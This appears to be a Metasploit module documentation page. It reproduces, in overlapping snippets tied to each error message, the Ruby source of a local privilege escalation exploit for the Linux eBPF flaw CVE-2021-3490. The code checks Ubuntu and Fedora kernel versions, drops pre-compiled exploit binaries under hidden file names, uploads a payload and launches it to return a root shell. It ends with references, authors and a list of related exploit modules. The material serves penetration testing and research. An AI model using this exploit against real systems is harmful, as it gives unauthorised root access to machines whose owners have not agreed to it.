Here is a relevant code snippet related to the "The target Fedora server does not have the expected kernel version format!" error message:
123: return CheckCode::Unknown('Unknown target kernel version, recommend manually checking if target kernel is vulnerable.')
124: end
125: elsif release =~ /\.fc3[2,3,4]\./
126: version_array = release.split('-')
127: if version_array.length < 2
128: fail_with(Failure::UnexpectedReply, 'The target Fedora server does not have the expected kernel version format!')
129: end
130: major_version = version_array[0]
131: if version_array[1].split('.').length != 3
132: fail_with(Failure::UnexpectedReply, 'The target Fedora server does not have the expected minor kernel version format!')
133: end
The target Fedora server does not have the expected minor kernel version format!
Here is a relevant code snippet related to the "The target Fedora server does not have the expected minor kernel version format!" error message:
127: if version_array.length < 2
128: fail_with(Failure::UnexpectedReply, 'The target Fedora server does not have the expected kernel version format!')
129: end
130: major_version = version_array[0]
131: if version_array[1].split('.').length != 3
132: fail_with(Failure::UnexpectedReply, 'The target Fedora server does not have the expected minor kernel version format!')
133: end
134: minor_version = version_array[1].split('.')[0]
135: if Rex::Version.new(major_version) >= Rex::Version.new('5.11.20')
136: return CheckCode::Safe("Target Fedora kernel version is #{major_version}-#{minor_version} which is not vulnerable!")
137: elsif Rex::Version.new(major_version) == Rex::Version.new('5.11.20') && Rex::Version.new(minor_version) >= Rex::Version.new('300')
Target Fedora kernel version is <MAJOR_VERSION>-<MINOR_VERSION> which is not vulnerable!
Here is a relevant code snippet related to the "Target Fedora kernel version is <MAJOR_VERSION>-<MINOR_VERSION> which is not vulnerable!" error message:
131: if version_array[1].split('.').length != 3
132: fail_with(Failure::UnexpectedReply, 'The target Fedora server does not have the expected minor kernel version format!')
133: end
134: minor_version = version_array[1].split('.')[0]
135: if Rex::Version.new(major_version) >= Rex::Version.new('5.11.20')
136: return CheckCode::Safe("Target Fedora kernel version is #{major_version}-#{minor_version} which is not vulnerable!")
137: elsif Rex::Version.new(major_version) == Rex::Version.new('5.11.20') && Rex::Version.new(minor_version) >= Rex::Version.new('300')
138: return CheckCode::Safe('Target Fedora system is running a 5.11.20 kernel however it has been patched!')
139: elsif Rex::Version.new(major_version) <= Rex::Version.new('5.7')
140: return CheckCode::Safe('Running a Fedora system with a kernel before kernel version 5.7 where the vulnerability was introduced')
141: end
Target Fedora system is running a 5.11.20 kernel however it has been patched!
Here is a relevant code snippet related to the "Target Fedora system is running a 5.11.20 kernel however it has been patched!" error message:
133: end
134: minor_version = version_array[1].split('.')[0]
135: if Rex::Version.new(major_version) >= Rex::Version.new('5.11.20')
136: return CheckCode::Safe("Target Fedora kernel version is #{major_version}-#{minor_version} which is not vulnerable!")
137: elsif Rex::Version.new(major_version) == Rex::Version.new('5.11.20') && Rex::Version.new(minor_version) >= Rex::Version.new('300')
138: return CheckCode::Safe('Target Fedora system is running a 5.11.20 kernel however it has been patched!')
139: elsif Rex::Version.new(major_version) <= Rex::Version.new('5.7')
140: return CheckCode::Safe('Running a Fedora system with a kernel before kernel version 5.7 where the vulnerability was introduced')
141: end
142: else
143: return CheckCode::Unknown("Target is not a known target, so we can't check if the target is vulnerable or not!")
Running a Fedora system with a kernel before kernel version 5.7 where the vulnerability was introduced
Here is a relevant code snippet related to the "Running a Fedora system with a kernel before kernel version 5.7 where the vulnerability was introduced" error message:
135: if Rex::Version.new(major_version) >= Rex::Version.new('5.11.20')
136: return CheckCode::Safe("Target Fedora kernel version is #{major_version}-#{minor_version} which is not vulnerable!")
137: elsif Rex::Version.new(major_version) == Rex::Version.new('5.11.20') && Rex::Version.new(minor_version) >= Rex::Version.new('300')
138: return CheckCode::Safe('Target Fedora system is running a 5.11.20 kernel however it has been patched!')
139: elsif Rex::Version.new(major_version) <= Rex::Version.new('5.7')
140: return CheckCode::Safe('Running a Fedora system with a kernel before kernel version 5.7 where the vulnerability was introduced')
141: end
142: else
143: return CheckCode::Unknown("Target is not a known target, so we can't check if the target is vulnerable or not!")
144: end
145:
Target is not a known target, so we can't check if the target is vulnerable or not!
Here is a relevant code snippet related to the "Target is not a known target, so we can't check if the target is vulnerable or not!" error message:
138: return CheckCode::Safe('Target Fedora system is running a 5.11.20 kernel however it has been patched!')
139: elsif Rex::Version.new(major_version) <= Rex::Version.new('5.7')
140: return CheckCode::Safe('Running a Fedora system with a kernel before kernel version 5.7 where the vulnerability was introduced')
141: end
142: else
143: return CheckCode::Unknown("Target is not a known target, so we can't check if the target is vulnerable or not!")
144: end
145:
146: vprint_good("Kernel version #{release} appears to be vulnerable")
147:
148: config = kernel_config
Could not retrieve kernel config
Here is a relevant code snippet related to the "Could not retrieve kernel config" error message:
146: vprint_good("Kernel version #{release} appears to be vulnerable")
147:
148: config = kernel_config
149:
150: if config.nil?
151: return CheckCode::Detected('Could not retrieve kernel config')
152: end
153:
154: unless config.include?('CONFIG_BPF_SYSCALL=y')
155: return CheckCode::Safe('Kernel config does not include CONFIG_BPF_SYSCALL')
156: end
Kernel config does not include CONFIG_BPF_SYSCALL
Here is a relevant code snippet related to the "Kernel config does not include CONFIG_BPF_SYSCALL" error message:
150: if config.nil?
151: return CheckCode::Detected('Could not retrieve kernel config')
152: end
153:
154: unless config.include?('CONFIG_BPF_SYSCALL=y')
155: return CheckCode::Safe('Kernel config does not include CONFIG_BPF_SYSCALL')
156: end
157:
158: vprint_good('Kernel config has CONFIG_BPF_SYSCALL enabled')
159:
160: CheckCode::Appears
Session already has root privileges. Set ForceExploit to override.
Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:
160: CheckCode::Appears
161: end
162:
163: def exploit
164: if is_root? && !datastore['ForceExploit']
165: fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
166: end
167:
168: unless writable?(base_dir)
169: fail_with(Failure::BadConfig, "#{base_dir} is not writable")
170: end
<BASE_DIR> is not writable
Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:
164: if is_root? && !datastore['ForceExploit']
165: fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
166: end
167:
168: unless writable?(base_dir)
169: fail_with(Failure::BadConfig, "#{base_dir} is not writable")
170: end
171:
172: executable_name = ".#{rand_text_alphanumeric(5..10)}"
173: executable_path = "#{base_dir}/#{executable_name}"
174: vprint_status('Dropping pre-compiled exploit on system...')
The target server does not have the expected kernel version format!
Here is a relevant code snippet related to the "The target server does not have the expected kernel version format!" error message:
172: executable_name = ".#{rand_text_alphanumeric(5..10)}"
173: executable_path = "#{base_dir}/#{executable_name}"
174: vprint_status('Dropping pre-compiled exploit on system...')
175: release = kernel_release
176: if release.split('-').length < 2
177: fail_with(Failure::UnexpectedReply, 'The target server does not have the expected kernel version format!')
178: end
179: major_version = release.split('-')[0]
180: if (Rex::Version.new(major_version) == Rex::Version.new('5.11.0')) && kernel_version =~ /[uU]buntu/
181: upload_and_chmodx(executable_path, exploit_data('cve-2021-3490', 'hirsute.bin'))
182: elsif (Rex::Version.new(major_version) == Rex::Version.new('5.8.0')) && kernel_version =~ /[uU]buntu/
The target OS cannot be targeted by this exploit. Considering submitting a PR to add support for this target!
Here is a relevant code snippet related to the "The target OS cannot be targeted by this exploit. Considering submitting a PR to add support for this target!" error message:
190: elsif release =~ /\.fc3[2,3,4]\./ && major_version =~ /5\.10/
191: upload_and_chmodx(executable_path, exploit_data('cve-2021-3490', 'fedora-5-10.bin'))
192: elsif release =~ /\.fc3[2,3,4]\./ && major_version =~ /5\.11/
193: upload_and_chmodx(executable_path, exploit_data('cve-2021-3490', 'fedora-5-11.bin'))
194: else
195: fail_with(Failure::NoTarget, 'The target OS cannot be targeted by this exploit. Considering submitting a PR to add support for this target!')
196: end
197: register_file_for_cleanup(executable_path)
198:
199: # Upload payload executable
200: payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
Note that things may appear to hang due to the exploit not exiting.
Here is a relevant code snippet related to the "Note that things may appear to hang due to the exploit not exiting." error message:
201: upload_and_chmodx(payload_path, generate_payload_exe)
202: register_file_for_cleanup(payload_path)
203:
204: # Launch exploit
205: print_status('Launching exploit...')
206: print_warning('Note that things may appear to hang due to the exploit not exiting.')
207: print_warning("Feel free to press CTRL+C if the shell is returned before #{datastore['CmdTimeout']} seconds are up.")
208: response = cmd_exec(executable_path.to_s, payload_path.to_s, datastore['CmdTimeout'])
209: if response =~ /fail/
210: fail_with(Failure::NoTarget, 'The exploit failed! Check to see if you are running this against the right target and kernel version!')
211: vprint_error("The response was: #{response}")
Feel free to press CTRL+C if the shell is returned before <CMDTIMEOUT> seconds are up.
Here is a relevant code snippet related to the "Feel free to press CTRL+C if the shell is returned before <CMDTIMEOUT> seconds are up." error message:
202: register_file_for_cleanup(payload_path)
203:
204: # Launch exploit
205: print_status('Launching exploit...')
206: print_warning('Note that things may appear to hang due to the exploit not exiting.')
207: print_warning("Feel free to press CTRL+C if the shell is returned before #{datastore['CmdTimeout']} seconds are up.")
208: response = cmd_exec(executable_path.to_s, payload_path.to_s, datastore['CmdTimeout'])
209: if response =~ /fail/
210: fail_with(Failure::NoTarget, 'The exploit failed! Check to see if you are running this against the right target and kernel version!')
211: vprint_error("The response was: #{response}")
212: elsif response =~ /success!/
The exploit failed! Check to see if you are running this against the right target and kernel version!
Here is a relevant code snippet related to the "The exploit failed! Check to see if you are running this against the right target and kernel version!" error message:
205: print_status('Launching exploit...')
206: print_warning('Note that things may appear to hang due to the exploit not exiting.')
207: print_warning("Feel free to press CTRL+C if the shell is returned before #{datastore['CmdTimeout']} seconds are up.")
208: response = cmd_exec(executable_path.to_s, payload_path.to_s, datastore['CmdTimeout'])
209: if response =~ /fail/
210: fail_with(Failure::NoTarget, 'The exploit failed! Check to see if you are running this against the right target and kernel version!')
211: vprint_error("The response was: #{response}")
212: elsif response =~ /success!/
213: print_good('Exploit completed successfully, shell should be returning soon!')
214: else
215: print_status('No indication of exploit success or failure, try increasing CmdTimeout value!')
The response was: <RESPONSE>
Here is a relevant code snippet related to the "The response was: <RESPONSE>" error message:
206: print_warning('Note that things may appear to hang due to the exploit not exiting.')
207: print_warning("Feel free to press CTRL+C if the shell is returned before #{datastore['CmdTimeout']} seconds are up.")
208: response = cmd_exec(executable_path.to_s, payload_path.to_s, datastore['CmdTimeout'])
209: if response =~ /fail/
210: fail_with(Failure::NoTarget, 'The exploit failed! Check to see if you are running this against the right target and kernel version!')
211: vprint_error("The response was: #{response}")
212: elsif response =~ /success!/
213: print_good('Exploit completed successfully, shell should be returning soon!')
214: else
215: print_status('No indication of exploit success or failure, try increasing CmdTimeout value!')
216: end
No indication of exploit success or failure, try increasing CmdTimeout value!
Here is a relevant code snippet related to the "No indication of exploit success or failure, try increasing CmdTimeout value!" error message:
208: response = cmd_exec(executable_path.to_s, payload_path.to_s, datastore['CmdTimeout'])
209: if response =~ /fail/
210: fail_with(Failure::NoTarget, 'The exploit failed! Check to see if you are running this against the right target and kernel version!')
211: vprint_error("The response was: #{response}")
212: elsif response =~ /success!/
213: print_good('Exploit completed successfully, shell should be returning soon!')
214: else
215: print_status('No indication of exploit success or failure, try increasing CmdTimeout value!')
216: end
217: end
218: end
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Related Pull Requests
- #15627 Merged Pull Request: Update some post libs to use library methods defined in
file.rb - #15640 Merged Pull Request: Add missing python3 shebang
- #15639 Merged Pull Request: Fix typo in rename_file preventing Linux systems from renaming files
- #15636 Merged Pull Request: Fix regression issue with serializing reported events
- #15637 Merged Pull Request: Remove explicit rhosts protocol validation
- #15522 Merged Pull Request: Meterpreter interactive shell
- #15253 Merged Pull Request: Add http/smb/mysql/postgres/ssh support in rhosts option
- #15633 Merged Pull Request: Update workflow to Ubuntu 18.04 and use newer Ruby Setup
- #15621 Merged Pull Request: add automation cache creation tools
References
- CVE-2021-3490
- https://www.openwall.com/lists/oss-security/2021/05/11/11
- https://github.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490
- https://www.zerodayinitiative.com/blog/2020/4/8/cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification
- https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/commit/?id=049c4e13714ecbca567b4d5f6d563f05d431c80e
- https://www.graplsecurity.com/post/kernel-pwning-with-ebpf-a-love-story
- https://www.zerodayinitiative.com/advisories/ZDI-21-606/
- https://ubuntu.com/security/notices/USN-4950-1
- https://ubuntu.com/security/notices/USN-4949-1
See Also
Check also the following modules related to this module:
- exploit/linux/local/cve_2021_3493_overlayfs
- exploit/linux/local/cve_2021_38648_omigod
- exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
- exploit/linux/local/cve_2022_0847_dirtypipe
- exploit/linux/local/cve_2022_0995_watch_queue
- exploit/linux/http/cve_2019_1663_cisco_rmi_rce
- exploit/linux/misc/cve_2020_13160_anydesk
- exploit/linux/misc/cve_2021_38647_omigod
- exploit/multi/http/cve_2021_35464_forgerock_openam
- exploit/multi/sap/cve_2020_6207_solman_rs
- exploit/windows/dcerpc/cve_2021_1675_printnightmare
- exploit/windows/fileformat/cve_2017_8464_lnk_rce
- exploit/windows/local/cve_2017_8464_lnk_lpe
- exploit/windows/local/cve_2018_8453_win32k_priv_esc
- exploit/windows/local/cve_2019_1458_wizardopium
- exploit/windows/local/cve_2020_0668_service_tracing
- exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
- exploit/windows/local/cve_2020_0796_smbghost
- exploit/windows/local/cve_2020_1048_printerdemon
- exploit/windows/local/cve_2020_1054_drawiconex_lpe
- exploit/windows/local/cve_2020_1313_system_orchestrator
- exploit/windows/local/cve_2020_1337_printerdemon
- exploit/windows/local/cve_2020_17136
- exploit/windows/local/cve_2021_1732_win32k
- exploit/windows/local/cve_2021_21551_dbutil_memmove
- exploit/windows/local/cve_2021_40449
- exploit/windows/local/cve_2022_21882_win32k
- exploit/windows/local/cve_2022_21999_spoolfool_privesc
- exploit/windows/local/cve_2022_26904_superprofile
- exploit/windows/misc/cve_2022_28381_allmediaserver_bof
- exploit/windows/rdp/cve_2019_0708_bluekeep_rce
- exploit/windows/smb/cve_2020_0796_smbghost
Related Nessus plugins:
- Ubuntu 21.04 : Linux kernel vulnerabilities (USN-4950-1)
- Ubuntu 20.04 LTS : Linux kernel (OEM) vulnerabilities (USN-4948-1)
- Ubuntu 20.04 LTS / 20.10 : Linux kernel vulnerabilities (USN-4949-1)
- Photon OS 4.0: Linux PHSA-2021-4.0-0023
- SUSE SLED15 / SLES15 Security Update : kernel (SUSE-SU-2021:1977-1)
- SUSE SLES15 Security Update : kernel (SUSE-SU-2021:1975-1)
- SUSE SLES15 Security Update : kernel (Live Patch 0 for SLE 15 SP3) (SUSE-SU-2021:2198-1)
- openSUSE 15 Security Update : kernel (openSUSE-SU-2021:1975-1)
- openSUSE 15 Security Update : kernel (openSUSE-SU-2021:1977-1)
- Amazon Linux 2 : kernel (ALASKERNEL-5.10-2022-001)
Authors
- Manfred Paul
- chompie1337
- Grant Willcox
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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